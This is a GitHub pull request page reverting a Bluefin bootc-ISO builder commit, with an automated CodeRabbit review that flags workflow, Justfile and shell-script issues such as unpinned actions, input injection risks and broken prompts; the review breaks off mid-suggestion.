Repository navigation
Revert "feat: Bluefin bootc-ISO builder (bootcDirect + containers-storage, 8 GB)" - #66
Conversation
…rage, 8 …" This reverts commit e4c2913.
📝 WalkthroughWalkthroughThe entire Bluefin ISO build system is replaced: the bootc-installer live-ISO pipeline (Containerfile, dracut module, old justfile, LUKS test workflow) is deleted and replaced with an Anaconda/Titanoboa-based pipeline. A reusable GitHub Actions workflow drives matrix builds; per-variant caller workflows orchestrate scheduling; a new promotion workflow moves ISOs from a testing R2 bucket to production; ISO hook scripts configure the Anaconda installer environment; and a comprehensive new Justfile plus local build script support development. ChangesAnaconda/Titanoboa ISO Pipeline
Sequence Diagram(s)sequenceDiagram
participant Caller as Caller Workflow
participant Matrix as determine-matrix job
participant Build as build job
participant Titanoboa as ublue-os/titanoboa@main
participant R2Test as R2 Testing Bucket
participant Prerelease as create-prerelease job
participant GitHub as GitHub Releases API
Caller->>Matrix: workflow_call(image_version, upload_r2)
Matrix->>Build: platform/flavor/variant JSON matrix
Build->>Build: compute image_ref, clone projectbluefin/common for flatpaks.list
Build->>Titanoboa: build ISO (hook-post-rootfs, builder-distro)
Titanoboa-->>Build: output.iso
Build->>Build: rename, SHA256 checksum, mktorrent
Build->>R2Test: rclone copy output/ (if upload_r2)
Build->>Prerelease: upload torrent + checksum artifacts
Prerelease->>GitHub: gh release view → determine YY.MM.patch version
Prerelease->>GitHub: gh release create --prerelease (torrents + checksums)
sequenceDiagram
participant Operator
participant Preflight as promote preflight step
participant R2Test as R2 Testing Bucket
participant R2Prod as R2 Production Bucket
participant GHRelease as GitHub Release API
Operator->>Preflight: dispatch(variant, release_tag, dry_run=false)
Preflight->>GHRelease: resolve latest prerelease, fetch asset list
Preflight->>R2Test: rclone lsf with variant filter
Preflight->>R2Test: rclone copy → R2Prod
Preflight->>R2Prod: rclone lsf verify
Preflight->>GHRelease: download variant torrent + checksum assets
Preflight->>GHRelease: gh release create (--latest if stable)
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes Possibly related PRs
Suggested labels
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 19
🧹 Nitpick comments (11)
.github/workflows/pull-request.yml (1)
11-18: 💤 Low valueConsider explicitly setting
image_tagfor consistency.The LTS job relies on the reusable workflow's default value for
image_tag(lts), while the Stable job explicitly setsimage_tag: stableon Line 25. For clarity and consistency, consider adding an explicitimage_tag: ltsparameter.📝 Proposed consistency improvement
build-iso-lts: name: Build LTS ISOs uses: ./.github/workflows/reusable-build-iso-anaconda.yml with: image_version: lts + image_tag: lts upload_r2: false upload_artifacts: false secrets: inherit🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/pull-request.yml around lines 11 - 18, The build-iso-lts job currently relies on the reusable workflow's default value for the image_tag parameter instead of explicitly setting it, creating an inconsistency with how the Stable job handles the same parameter. Add an explicit image_tag: lts parameter to the build-iso-lts job's with section, placing it alongside the existing image_version parameter to match the explicit approach used in the Stable job where image_tag: stable is set..github/workflows/reusable-build-iso-anaconda.yml (2)
170-176: Consider the trade-offs of usingublue-os/titanoboa@mainwithout a pinned commit.While using the
mainbranch reference allows automatic access to the latest fixes and features, it introduces supply chain risk if the upstream repository is compromised. The action currently has no tagged releases, so pinning to a specific commit would require manual identification and ongoing monitoring. Document the decision to use themainreference and establish a process to monitor upstream security advisories for this action.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/reusable-build-iso-anaconda.yml around lines 170 - 176, The workflow is using ublue-os/titanoboa@main without pinning to a specific commit, which introduces supply chain risk. Replace the `@main` reference with a specific commit hash from the upstream repository (e.g., @<commit-sha>) in the uses field. If pinning to a commit is not feasible, document the decision to use `@main` and establish a documented process to regularly monitor upstream security advisories for the ublue-os/titanoboa action to mitigate the supply chain risk.Source: Linters/SAST tools
374-388: Job name parsing relies on matrix key ordering; consider documenting or refactoring for maintainability.The regex on line 377 correctly parses job names when the matrix include objects maintain the order
platform, flavor, image_version. The current code is correct for the existing matrix definition. However, this approach is brittle—if the matrix definition order changes (e.g., if someone reorders the keys in the include objects), the regex will silently mismatch and display incorrect values.Note: The GitHub Jobs API does not expose matrix values as structured metadata; parsing the job name is currently the only way to extract them. If future-proofing is a concern, consider documenting the key ordering assumption in a comment at the matrix definition or refactoring to extract matrix context from the workflow event payload earlier in the job flow.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/reusable-build-iso-anaconda.yml around lines 374 - 388, The job name parsing regex that uses the pattern "Build ISOs \(platform, flavor, variant\)" depends on the matrix include objects maintaining a specific key ordering, but this dependency is not documented anywhere in the workflow. To fix this, locate the matrix definition section where the include objects with platform, flavor, and image_version keys are defined, and add a clear comment documenting that the key ordering (platform, flavor, image_version) is critical for the job name regex parsing that occurs later in the workflow. This will prevent future maintainers from accidentally reordering these keys, which would cause the regex on line 377 to silently mismatch and display incorrect values.iso_files/configure_iso_anaconda.sh (1)
165-165: ⚡ Quick winAdd timeout to curl command.
The curl command retries on failure but has no timeout, which could cause the build to hang indefinitely if the network stalls.
🔧 Proposed fix
-curl --retry 15 -Lo /etc/sb_pubkey.der "$sbkey" +curl --retry 15 --max-time 30 -Lo /etc/sb_pubkey.der "$sbkey"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@iso_files/configure_iso_anaconda.sh` at line 165, The curl command downloading the security boot key has retry logic but lacks a timeout mechanism, which could cause the build to hang indefinitely if the network connection stalls. Add a timeout parameter to the curl command that invokes the sbkey download in the configure_iso_anaconda.sh file. Use the --max-time option to specify a maximum time limit for the entire operation, ensuring the build can recover gracefully if network issues occur rather than hanging indefinitely.AGENTS.md (1)
46-46: 💤 Low valueAdd language identifiers to fenced code blocks.
Markdownlint flags three fenced code blocks without language specifiers (lines 46, 72, 300). Adding language hints improves syntax highlighting and readability.
📝 Proposed fix
Line 46 (repository structure):
-``` +```text .github/workflows/Line 72 (build pipeline diagram):
-``` +```text Caller workflows (stable, lts-hwe)Line 300 (commit footer example):
-``` +```text Assisted-by: <Model> via <Tool>Also applies to: 72-72, 300-300
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@AGENTS.md` at line 46, Three fenced code blocks in AGENTS.md are missing language specifiers, causing markdownlint warnings. Locate the three code blocks at lines 46 (repository structure), 72 (build pipeline diagram), and 300 (commit footer example), and add the language identifier "text" immediately after the opening triple backticks (changing ``` to ```text) for each of these blocks to satisfy markdown linting requirements and improve syntax highlighting.iso_files/configure_lts_iso_anaconda.sh (1)
159-206: ⚡ Quick winClean up commented code blocks or document why they're preserved.
Large blocks of code are commented out:
- Lines 159-164: Fedora Flatpak disable
- Lines 176-206: Secure boot enrollment (entire section)
If these are intentionally disabled for LTS builds, add a comment explaining why. If they're obsolete, remove them to improve maintainability.
Based on learnings, the LTS builds are currently broken, which may explain why certain features are disabled. Consider adding comments like:
# Secure boot enrollment disabled on LTS due to <specific reason or bug URL> # TODO: Re-enable when <condition>🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@iso_files/configure_lts_iso_anaconda.sh` around lines 159 - 206, The script contains large commented-out code blocks for "Disable Fedora Flatpak" and "Enroll Secureboot Key" without explanation for why they're disabled. For each commented section (the disable-fedora-flatpak.ks block and the entire secureboot-enroll-key.ks block), either remove the commented code entirely if it's obsolete, or add a clear comment above it explaining why it's intentionally disabled for LTS builds, such as "# Secure boot enrollment disabled on LTS due to <specific reason>" and include a TODO note indicating when it should be re-enabled. This will improve code maintainability and clarify the intent for future developers.Source: Learnings
README.md (1)
36-36: 💤 Low valueAdd language identifiers to fenced code blocks.
Markdownlint flags three diagram code blocks without language specifiers (lines 36, 154, 243). Adding
textas the language identifier improves rendering consistency.📝 Proposed fix
## Workflow Structure -``` +```text ┌─────────────────────┐ ┌─────────────────────┐## Repository Structure -``` +```text . ├── .github/workflows/## ISO Release Pipeline -``` +```text ┌─────────────────────────────────────────────────────────────┐Also applies to: 154-154, 243-243
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@README.md` at line 36, Three fenced code blocks in the README.md file lack language identifiers, causing markdownlint warnings. For each of the three diagram code blocks (the one containing the box drawing with dashes and pipes, the one showing directory structure with .github/workflows, and the larger box diagram), add the language identifier by changing the opening triple backticks from ``` to ```text to improve rendering consistency and satisfy markdownlint validation.just/bluefin-system.just (2)
150-155: 💤 Low valueInconsistent use of
justvsujustfor calling other recipes.The
bluefin-appsrecipe usesjust install-system-flatpaksandjust install-system-flatpaks-extra, but other recipes in this file useujust(e.g., line 86). This inconsistency could cause issues if the recipe is invoked viaujustbut callsjustdirectly.Proposed fix for consistency
bluefin-apps: #!/usr/bin/env bash echo "Installing default system flatpaks..." - just install-system-flatpaks + ujust install-system-flatpaks echo "Installing some extra awesome applications..." - just install-system-flatpaks-extra + ujust install-system-flatpaks-extra🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@just/bluefin-system.just` around lines 150 - 155, The bluefin-apps recipe uses just instead of ujust for calling other recipes, creating an inconsistency with other recipes in the file that use ujust. Replace both instances of just with ujust in the bluefin-apps recipe: change just install-system-flatpaks to ujust install-system-flatpaks and change just install-system-flatpaks-extra to ujust install-system-flatpaks-extra to maintain consistent recipe invocation syntax throughout the file.
73-73: 💤 Low valueBackticks won't render as command in echo output.
The line uses backticks in the echo string expecting them to display literally, but this is confusing syntax. The intended message appears to want to show
ujust dx-groupas a command to run.Proposed fix
- echo -e "\nUse `ujust dx-group` to add your user to the correct groups and complete the installation" + echo -e "\nUse 'ujust dx-group' to add your user to the correct groups and complete the installation"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@just/bluefin-system.just` at line 73, The echo statement uses unescaped backticks within double quotes which will trigger command substitution instead of displaying the text literally. Escape the backticks with backslashes so that `ujust dx-group` renders as literal text in the output. This will ensure users see the command name displayed as intended rather than attempting to execute it.just/bluefin-apps.just (1)
20-38: 💤 Low valueMissing
popdand cleanup in JetBrains Toolbox installer.The script uses
pushdto change to a temp directory but never callspopd. While this doesn't cause functional issues (the script exits), it's inconsistent with the pattern used inbluefin-system.just(line 30-31) which properly usestrap popd EXIT.Additionally, the temp directory is never cleaned up after installation.
Proposed improvement
install-jetbrains-toolbox: #!/usr/bin/env bash - pushd "$(mktemp -d)" + TMPDIR="$(mktemp -d)" + trap "rm -rf '$TMPDIR'" EXIT + pushd "$TMPDIR" echo "Get latest JetBrains Toolbox version"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@just/bluefin-apps.just` around lines 20 - 38, The install-jetbrains-toolbox recipe uses pushd to change into a temporary directory but lacks proper cleanup. Add a trap command immediately after the pushd line to ensure popd is called when the script exits, following the same pattern already established in bluefin-system.just. This will guarantee the directory stack is properly restored and the temporary directory is cleaned up automatically.hack/local-iso-build.sh (1)
123-137: ⚖️ Poor tradeoffFragile sed patterns for Justfile patching.
The multiple
sed -icommands patch the Titanoboa Justfile using literal string patterns. If upstream Titanoboa changes its Justfile format, these patches will silently fail to apply, leading to build issues that are hard to diagnose.Consider adding validation that patches were applied:
Example validation approach
# After each sed, verify the expected pattern exists if ! grep -q "setfiles.*|| true" "$BUILD_DIR/Justfile"; then echo "Warning: setfiles patch may not have applied correctly" fi🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@hack/local-iso-build.sh` around lines 123 - 137, The sed commands that patch the Titanoboa Justfile can silently fail if upstream Justfile format changes, making it difficult to diagnose build issues. Add validation checks after each of the four sed invocations (the setfiles patch, the device /dev/fuse patch, the root check patch, and the clean recipe patch) to verify that the expected patterns now exist in the patched Justfile using grep. If a patch validation fails, output a clear warning message indicating which patch failed to apply correctly.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/build-iso-all.yml:
- Around line 24-25: The schedule trigger in the build-iso-all.yml workflow is
currently enabled and will automatically trigger broken LTS builds on the first
of each month. Comment out both the schedule key and the cron expression line
(the lines containing "schedule:" and the cron: "0 3 1 * *" entry) to disable
this automatic trigger until the LTS builds are fixed.
In @.github/workflows/build-iso-lts.yml:
- Around line 26-27: The schedule block containing the cron expression at lines
26-27 must be commented out to prevent automatic execution of the build-iso-lts
workflow, as LTS ISOs are currently broken and non-functional. Comment out the
entire schedule section (the lines starting with "schedule:" and the cron
expression) and add a comment explaining that the schedule is disabled due to
LTS ISO issues being broken, to ensure future developers understand why the
automation is intentionally disabled.
- Around line 1-10: The workflow file `build-iso-lts.yml` is missing required
warning comments about LTS breakage status in the header section. Add the
warning comment block to the workflow header that appears after the name field
and before the existing comments about what ISOs are built. The warning should
inform users about the LTS breakage status according to your project's
guidelines for this workflow file, ensuring the inline warning comments are
properly included and not removed or altered.
In @.github/workflows/build-iso-stable.yml:
- Line 30: The upload_r2 expression has incorrect operator precedence causing it
to always evaluate to true, ignoring the user input completely. Fix the logic in
the upload_r2 field by restructuring the expression to properly handle both
trigger scenarios: when the event is not workflow_dispatch (schedule trigger,
should upload as true) and when it is workflow_dispatch (should respect the
inputs.upload_r2 value). The corrected expression should use the pattern that
aligns with build-iso-all.yml, build-iso-lts-hwe.yml, and build-iso-lts.yml
where schedule triggers always upload and manual triggers respect the user
input.
In @.github/workflows/promote-iso.yml:
- Around line 249-251: The checkout action in the promote-iso workflow is
missing a security hardening parameter. Add `persist-credentials: false` as a
configuration option to the actions/checkout step (version v6) to prevent Git
credentials from being persisted in the workflow environment, which is a
security best practice when the workflow doesn't require pushing commits.
- Around line 65-86: The template-injection vulnerability exists because
inputs.release_tag is directly interpolated into the shell script using ${{
inputs.release_tag }}, allowing potential shell metacharacter injection. Fix
this by adding inputs.release_tag as an environment variable in the env section
of the Preflight checks step (alongside GH_TOKEN and GH_REPO), then reference
that environment variable in the shell script instead of using direct template
interpolation. Update the conditional check from [ -n "${{ inputs.release_tag
}}" ] to use the new environment variable, and similarly update the SOURCE_TAG
assignment to use the environment variable instead of the template expression.
In @.github/workflows/reusable-build-iso-anaconda.yml:
- Around line 29-32: The pull_request trigger paths in the
reusable-build-iso-anaconda.yml workflow is missing the LTS hook script path.
Add configure_lts_iso_anaconda.sh to the paths list under the pull_request
section so that changes to the LTS hook script will trigger PR validation
builds. The paths array should include both configure_iso_anaconda.sh and
configure_lts_iso_anaconda.sh under iso_files directory.
- Around line 55-56: Add validation for the `inputs.image_version` parameter
before it is used in the shell script expansion within the case statement.
Create an allowlist of permitted version values and validate that `${{
inputs.image_version }}` matches one of the allowed values before proceeding
with the case statement logic. This prevents potential shell injection attacks
if the input contains shell metacharacters or unexpected values.
In `@hack/local-iso-build.sh`:
- Around line 79-87: The git clone command that clones from
https://github.com/hanthor/titanoboa lacks integrity verification by not pinning
to a specific commit or tag. Modify the git clone command to include a specific
commit hash or tag reference (using git's revision syntax like @<commit-hash> or
@<tag-name>) to ensure only verified code is cloned and prevent potential
malicious code injection from upstream or MITM attacks.
- Around line 145-152: The Titanoboa build command ending with || true silences
build failures, which prevents meaningful error messages from being displayed
for debugging purposes. Remove the || true suffix from the just command that
calls build with PODMAN and TARGET_IMAGE_NAME parameters, and instead capture
the exit code of the command into a variable. Then check that exit code
explicitly and if the build fails, display the captured error output before
proceeding, ensuring that actual build failure reasons are visible rather than
being silently masked.
In `@iso_files/configure_lts_iso_anaconda.sh`:
- Around line 60-74: The SPECS array contains a duplicate entry for the
anaconda-webui package. Remove one of the two identical anaconda-webui entries
from the SPECS array to eliminate redundant installation processing. Ensure only
a single anaconda-webui entry remains in the array while keeping all other
packages intact.
- Around line 78-82: The sed command that fixes the Blivet/Dasbus import error
in the discover.py file lacks proper safeguards and documentation. Add an
upstream issue reference comment above the sed command explaining the
Blivet/Dasbus incompatibility and link to the GitHub or Bugzilla issue. Add
validation to the sed replacement by appending error handling that checks if the
command succeeded and exits with an error message if it fails. Include a comment
noting when this hotfix can be removed (e.g., once Blivet version is bumped).
Consider replacing the hardcoded Python 3.12 path with a more dynamic approach,
such as using Python's site-packages path discovery, to make the fix more robust
across Python version upgrades.
In `@just/bluefin-apps.just`:
- Around line 49-62: The OpenTabletDriver installation command chain lacks
proper error handling, which causes silent failures and partial state
corruption. Specifically, the curl command's potential failure is masked because
wget with empty piped input does not fail, the udev rules are copied before
flatpak installation completes (so stale rules remain if flatpak fails later),
and there is no cleanup on any partial failure. Add error checking after the
curl command to validate that download output is not empty before piping to
wget, reorder the udev rules copy to occur only after the flatpak install
command succeeds, and wrap the entire command sequence with error handling (such
as set -e or trap handlers) to ensure cleanup of temporary directories and
rollback of partial installation steps if any command fails.
In `@just/bluefin-system.just`:
- Around line 85-90: The issue is that gum choose returns the selected option
text (always non-empty/truthy) rather than a boolean exit code, causing both
conditional blocks to always execute regardless of user selection. Replace gum
choose with gum confirm in both the "Do you want to also install the default
development flatpaks?" condition and the "Do you want to install extra monospace
fonts?" condition, as gum confirm is the appropriate command for yes/no prompts
that returns proper exit codes (0 for yes, non-zero for no) that work correctly
with if statements.
- Around line 106-109: The `{{ `id -un` }}` syntax is evaluated when the
Justfile is parsed (potentially as root), not when the recipe runs, causing the
wrong username to be captured if the Justfile is parsed by root. Replace the
parse-time evaluation with a runtime evaluation that captures the original
invoking user's username. Use environment variables that are set by privilege
escalation tools at runtime such as SUDO_USER (set by sudo) or PKEXEC_UID (set
by pkexec). Instead of `{{ `id -un` }}` in the usermod command within the loop
that calls append_group, directly reference the appropriate environment variable
or store it in a recipe variable that evaluates at runtime to ensure the
original user's username is used regardless of when the Justfile is parsed.
In `@Justfile`:
- Around line 490-495: The FEDORA_VERSION variable is hardcoded to 42 instead of
using dynamic detection based on the actual base image. Uncomment the
conditional block that starts with if [[ "$tag" != lts ]]; then and restore the
dynamic detection logic using podman inspect with jq and grep to extract the
Fedora version from the image labels (ostree.linux). Remove or conditionally
replace the hardcoded FEDORA_VERSION=42 so that it only applies as a fallback
when the tag equals lts, allowing the dynamic detection to determine the correct
version for other scenarios.
- Around line 430-433: The glob pattern in the cleanup section uses double
quotes around `"${OUT_NAME}*"`, which prevents shell expansion of the asterisk
wildcard, causing only a literal file named with an asterisk to be targeted
instead of all matching files. Remove the double quotes from around the glob
pattern in the rm -rf command so the shell can properly expand `${OUT_NAME}*` to
match all related files for deletion.
- Around line 55-64: The find command pattern `*_build*` in the clean target is
too broad and could unintentionally match and delete files outside the intended
build directories. Refactor the find command to be more specific by explicitly
specifying the search location with `.` as the starting directory, using the
`-name` flag to match the pattern, and restricting matches to directories only
with `-type d`. This ensures only directories containing `_build` in their name
are targeted for deletion, making the cleanup operation safer and more
predictable.
- Around line 557-586: The podman run command at the end of the iso_build_args
array construction is missing the required container image reference. Add the
container image reference to the iso_build_args array (or append it directly to
the podman run command) that will be used to build the ISO. Based on the
environment variables being passed (ARCH, REPOS, IMAGE_NAME, VARIANT, VERSION,
etc.), this should be a titanoboa-compatible ISO builder image. The exact image
name and tag should be verified against your build configuration and available
registries, then appended as the final argument before the podman run command
executes.
---
Nitpick comments:
In @.github/workflows/pull-request.yml:
- Around line 11-18: The build-iso-lts job currently relies on the reusable
workflow's default value for the image_tag parameter instead of explicitly
setting it, creating an inconsistency with how the Stable job handles the same
parameter. Add an explicit image_tag: lts parameter to the build-iso-lts job's
with section, placing it alongside the existing image_version parameter to match
the explicit approach used in the Stable job where image_tag: stable is set.
In @.github/workflows/reusable-build-iso-anaconda.yml:
- Around line 170-176: The workflow is using ublue-os/titanoboa@main without
pinning to a specific commit, which introduces supply chain risk. Replace the
`@main` reference with a specific commit hash from the upstream repository (e.g.,
@<commit-sha>) in the uses field. If pinning to a commit is not feasible,
document the decision to use `@main` and establish a documented process to
regularly monitor upstream security advisories for the ublue-os/titanoboa action
to mitigate the supply chain risk.
- Around line 374-388: The job name parsing regex that uses the pattern "Build
ISOs \(platform, flavor, variant\)" depends on the matrix include objects
maintaining a specific key ordering, but this dependency is not documented
anywhere in the workflow. To fix this, locate the matrix definition section
where the include objects with platform, flavor, and image_version keys are
defined, and add a clear comment documenting that the key ordering (platform,
flavor, image_version) is critical for the job name regex parsing that occurs
later in the workflow. This will prevent future maintainers from accidentally
reordering these keys, which would cause the regex on line 377 to silently
mismatch and display incorrect values.
In `@AGENTS.md`:
- Line 46: Three fenced code blocks in AGENTS.md are missing language
specifiers, causing markdownlint warnings. Locate the three code blocks at lines
46 (repository structure), 72 (build pipeline diagram), and 300 (commit footer
example), and add the language identifier "text" immediately after the opening
triple backticks (changing ``` to ```text) for each of these blocks to satisfy
markdown linting requirements and improve syntax highlighting.
In `@hack/local-iso-build.sh`:
- Around line 123-137: The sed commands that patch the Titanoboa Justfile can
silently fail if upstream Justfile format changes, making it difficult to
diagnose build issues. Add validation checks after each of the four sed
invocations (the setfiles patch, the device /dev/fuse patch, the root check
patch, and the clean recipe patch) to verify that the expected patterns now
exist in the patched Justfile using grep. If a patch validation fails, output a
clear warning message indicating which patch failed to apply correctly.
In `@iso_files/configure_iso_anaconda.sh`:
- Line 165: The curl command downloading the security boot key has retry logic
but lacks a timeout mechanism, which could cause the build to hang indefinitely
if the network connection stalls. Add a timeout parameter to the curl command
that invokes the sbkey download in the configure_iso_anaconda.sh file. Use the
--max-time option to specify a maximum time limit for the entire operation,
ensuring the build can recover gracefully if network issues occur rather than
hanging indefinitely.
In `@iso_files/configure_lts_iso_anaconda.sh`:
- Around line 159-206: The script contains large commented-out code blocks for
"Disable Fedora Flatpak" and "Enroll Secureboot Key" without explanation for why
they're disabled. For each commented section (the disable-fedora-flatpak.ks
block and the entire secureboot-enroll-key.ks block), either remove the
commented code entirely if it's obsolete, or add a clear comment above it
explaining why it's intentionally disabled for LTS builds, such as "# Secure
boot enrollment disabled on LTS due to <specific reason>" and include a TODO
note indicating when it should be re-enabled. This will improve code
maintainability and clarify the intent for future developers.
In `@just/bluefin-apps.just`:
- Around line 20-38: The install-jetbrains-toolbox recipe uses pushd to change
into a temporary directory but lacks proper cleanup. Add a trap command
immediately after the pushd line to ensure popd is called when the script exits,
following the same pattern already established in bluefin-system.just. This will
guarantee the directory stack is properly restored and the temporary directory
is cleaned up automatically.
In `@just/bluefin-system.just`:
- Around line 150-155: The bluefin-apps recipe uses just instead of ujust for
calling other recipes, creating an inconsistency with other recipes in the file
that use ujust. Replace both instances of just with ujust in the bluefin-apps
recipe: change just install-system-flatpaks to ujust install-system-flatpaks and
change just install-system-flatpaks-extra to ujust install-system-flatpaks-extra
to maintain consistent recipe invocation syntax throughout the file.
- Line 73: The echo statement uses unescaped backticks within double quotes
which will trigger command substitution instead of displaying the text
literally. Escape the backticks with backslashes so that `ujust dx-group`
renders as literal text in the output. This will ensure users see the command
name displayed as intended rather than attempting to execute it.
In `@README.md`:
- Line 36: Three fenced code blocks in the README.md file lack language
identifiers, causing markdownlint warnings. For each of the three diagram code
blocks (the one containing the box drawing with dashes and pipes, the one
showing directory structure with .github/workflows, and the larger box diagram),
add the language identifier by changing the opening triple backticks from ``` to
```text to improve rendering consistency and satisfy markdownlint validation.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro Plus
Run ID: 453e22fc-cbf3-4783-88e3-ac2c30308583
⛔ Files ignored due to path filters (10)
src/icons/hicolor/128x128/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/16x16/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/24x24/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/256x256/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/32x32/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/48x48/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/512x512/apps/bluefin.pngis excluded by!**/*.pngsrc/icons/hicolor/64x64/apps/bluefin.pngis excluded by!**/*.pngsrc/images/bluefin.pngis excluded by!**/*.pngsrc/images/bluefin.svgis excluded by!**/*.svg
📒 Files selected for processing (36)
.github/scripts/configure_podman_storage.sh.github/workflows/build-iso-all.yml.github/workflows/build-iso-lts-hwe-testing.yml.github/workflows/build-iso-lts-hwe.yml.github/workflows/build-iso-lts.yml.github/workflows/build-iso-stable.yml.github/workflows/build-iso.yml.github/workflows/promote-iso.yml.github/workflows/pull-request.yml.github/workflows/reusable-build-iso-anaconda.yml.github/workflows/test-luks-install.yml.gitignoreAGENTS.mdContainerfileContainerfile.builderHANDOFF.mdJustfileREADME.mdbluefin-lts/payload_refbluefin/payload_refhack/local-iso-build.shiso_files/configure_iso_anaconda.shiso_files/configure_lts_iso_anaconda.shjust/bluefin-apps.justjust/bluefin-system.justjustfilesrc/build-iso.shsrc/configure-live.shsrc/dracut/95bluefin-isofile/bluefin-isofile.shsrc/dracut/95bluefin-isofile/module-setup.shsrc/etc/bootc-installer/images.jsonsrc/etc/bootc-installer/recipe.jsonsrc/flatpakssrc/install-flatpaks.shsrc/luks-unlock.pysrc/show-screenshot.sh
💤 Files with no reviewable changes (19)
- bluefin-lts/payload_ref
- src/etc/bootc-installer/images.json
- Containerfile.builder
- HANDOFF.md
- src/dracut/95bluefin-isofile/bluefin-isofile.sh
- src/flatpaks
- .github/workflows/test-luks-install.yml
- bluefin/payload_ref
- .github/scripts/configure_podman_storage.sh
- Containerfile
- src/etc/bootc-installer/recipe.json
- src/show-screenshot.sh
- .github/workflows/build-iso.yml
- src/build-iso.sh
- src/configure-live.sh
- src/install-flatpaks.sh
- src/dracut/95bluefin-isofile/module-setup.sh
- justfile
- src/luks-unlock.py
| schedule: | ||
| - cron: "0 3 1 * *" # Push to testing bucket on the first of the month at 03:00 UTC - 2h after Bluefin publishes monthly builds. |
There was a problem hiding this comment.
Schedule must be disabled — LTS builds are broken.
The guideline explicitly states: "Do NOT trigger build-iso-all.yml expecting it to promote LTS to production — the LTS builds are currently broken." The enabled schedule will automatically trigger broken LTS builds on the first of each month.
🚫 Proposed fix: comment out the schedule
- schedule:
- - cron: "0 3 1 * *" # Push to testing bucket on the first of the month at 03:00 UTC - 2h after Bluefin publishes monthly builds.
+ # IMPORTANT: Schedule disabled because LTS ISOs are currently broken
+ # Do not re-enable until LTS builds are verified and fixed
+ # schedule:
+ # - cron: "0 3 1 * *" # Push to testing bucket on the first of the month at 03:00 UTC - 2h after Bluefin publishes monthly builds.📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| schedule: | |
| - cron: "0 3 1 * *" # Push to testing bucket on the first of the month at 03:00 UTC - 2h after Bluefin publishes monthly builds. | |
| # IMPORTANT: Schedule disabled because LTS ISOs are currently broken | |
| # Do not re-enable until LTS builds are verified and fixed | |
| # schedule: | |
| # - cron: "0 3 1 * *" # Push to testing bucket on the first of the month at 03:00 UTC - 2h after Bluefin publishes monthly builds. |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/build-iso-all.yml around lines 24 - 25, The schedule
trigger in the build-iso-all.yml workflow is currently enabled and will
automatically trigger broken LTS builds on the first of each month. Comment out
both the schedule key and the cron expression line (the lines containing
"schedule:" and the cron: "0 3 1 * *" entry) to disable this automatic trigger
until the LTS builds are fixed.
Source: Coding guidelines
| --- | ||
| name: Build LTS ISOs | ||
| # This workflow ONLY builds LTS ISOs (not GTS, Stable, or LTS-HWE) | ||
| # Builds: 4 LTS ISOs | ||
| # - amd64 × main | ||
| # - amd64 × gdx | ||
| # - arm64 × main | ||
| # - arm64 × gdx | ||
| on: | ||
| workflow_dispatch: |
There was a problem hiding this comment.
Add required warning comments about LTS breakage.
The guideline states: "Do NOT remove or alter the inline warning comments in build-iso-lts.yml". Required warnings about the LTS breakage status are missing from the workflow header.
⚠️ Proposed fix: add warning comment block
---
name: Build LTS ISOs
+# ⚠️ CRITICAL WARNING: LTS ISOs ARE CURRENTLY BROKEN ⚠️
+# The Anaconda installer is broken for LTS variants. Do not re-enable the
+# schedule or promote any LTS builds to production until the breakage is resolved.
+# Safe testing: Run manually with upload_r2: false to test fixes without uploading.
# This workflow ONLY builds LTS ISOs (not GTS, Stable, or LTS-HWE)📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| --- | |
| name: Build LTS ISOs | |
| # This workflow ONLY builds LTS ISOs (not GTS, Stable, or LTS-HWE) | |
| # Builds: 4 LTS ISOs | |
| # - amd64 × main | |
| # - amd64 × gdx | |
| # - arm64 × main | |
| # - arm64 × gdx | |
| on: | |
| workflow_dispatch: | |
| --- | |
